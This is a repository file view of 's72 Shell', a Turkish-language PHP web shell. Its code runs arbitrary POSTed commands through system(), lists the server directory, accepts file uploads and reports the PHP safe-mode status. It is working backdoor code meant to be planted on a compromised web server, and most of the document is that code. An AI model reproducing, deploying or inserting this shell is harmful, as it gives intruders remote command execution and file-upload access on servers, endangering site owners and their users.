-
Notifications
You must be signed in to change notification settings - Fork 4
/
s72_shell.php
executable file
·141 lines (128 loc) · 5 KB
/
s72_shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
<html>
<head>
<meta http-equiv="Content-Language" content="tr">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>s72 Shell v1.0 Codinf by Cr@zy_King</title>
<meta name="Microsoft Theme" content="refined 011">
</head>
<body background="refbgd2.gif" bgcolor="#000000" text="#FFFFFF" link="#666699" vlink="#999999" alink="#999900">
<!--mstheme--><font face="Times New Roman">
<p><font face="Comic Sans MS" color="#FF0000"><b> </b>s72 Shell v1.1 Coding by <a href="mailto:[email protected]">
<font color="#00FF00">Cr@zy_King </font>
</a> </font></p>
<p>
<font color="#FF0000"><b><font face="Comic Sans MS" size="1"> [
Server Bilgileri ]</td>
</tr>
<tr>
<td width="49%" height="142">
</font></b></font>
</p>
<p align="center">
<font color="#800080"><b><font face="Verdana" style="font-size: 8pt">
Dizin</font></b></font><font face="Verdana" style="font-size: 8pt"><font color="#800080"><b>:</b> <? echo $_SERVER['DOCUMENT_ROOT']; ?>
<br />
<b>Shell Dizini:</b> <? echo $SCRIPT_FILENAME ?>
<br>
</font></font><p align="center"><form method="post">
<p align="center">
<font color="#800080">
<br>
</font><font face="Verdana" style="font-size: 8pt" color="#800080">Buraya
Kodunuzu Yazýn :)</font><font color="#111111"><br>
<br>
</font>
<font color="#FF0000">
<textarea size="70" name="command" rows="2" cols="43" ></textarea> <br>
<br><input type="submit" value="Çalýþtýr!"></font><font color="#FF0000"><br>
<br></font></p>
</form>
<p align="center">
<font color="#FF0000">
<textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea></font><p align="center">
<p align="center">
<font color="#FF0000">
<td width="49%" height="24" bgcolor="#FCFEBA">
</font>
<p align="center"><font color="#FF0000"><b>
<font face="Comic Sans MS" size="1">[ Diziler -_- Dizinler ]</td>
<td width="51%" height="24" bgcolor="#FCFEBA">
</font></b></font>
<form method="post">
<p align="center">
<font face="Verdana" style="font-size: 11pt">
<?
$folder=opendir('./');
while ($file = readdir($folder)) {
if($file != "." && $file != "..")
echo '<a target="_blank" href="'.$file.'">'.$file.'</a ><br>';
}
closedir($folder);
?></p>
</form>
<p align="center">
<br>
<b><font face="Comic Sans MS" size="1" color="#FF0000">[ Upload ]</font></b></font><font face="Comic Sans MS" size="1"><b><font color="#FF0000"></td></font></b></font><form enctype="multipart/form-data" method="post">
<p align="center"><br>
<br>
<font face="Verdana" style="font-size: 8pt" color="#800080">Buradan Dosya Upload Edebilirsiniz.</font><br>
<br>
<input type="file" name="file" size="20"><br>
<br>
<font style="font-size: 5pt"> </font><br>
<input type="submit" value="Yükle!"> <br>
</p>
</form>
<?php
function check_file()
{
global $file_name, $filename;
$backupstring = "copy_of_";
$filename = $backupstring."$filename";
if( file_exists($filename))
{
check_file();
}
}
if(!empty($file))
{
$filename = $file_name;
if( file_exists($file_name))
{
check_file();
echo "<p align=center>Dosya Zaten Bulunuyor</p>";
}
else
{
copy($file,"$filename");
if( file_exists($filename))
{
echo "<p align=center>Dosya Baþarýlý Bir Þekilde Yüklendi</p>";
}
elseif(! file_exists($filename))
{
echo "<p align=center>Dosya Bulunamadý</p>";
}
}
}
?>
<font face="Verdana" style="font-size: 8pt">
<p align=\"center\"></font>
</td>
<font color="#111111">
<br>
<br>
<br /><br /> </font>
<?php
// Check for Safe Mode
if( ini_get('safe_mode') ) {
print '<font color=#FF0000><b>Güvenlik Açýk</b></font>';
} else {
print '<font color=#008000><b>Güvenlik Kapalý</b></font>';
}
?>
<!--mstheme--></font>
</body>
</html>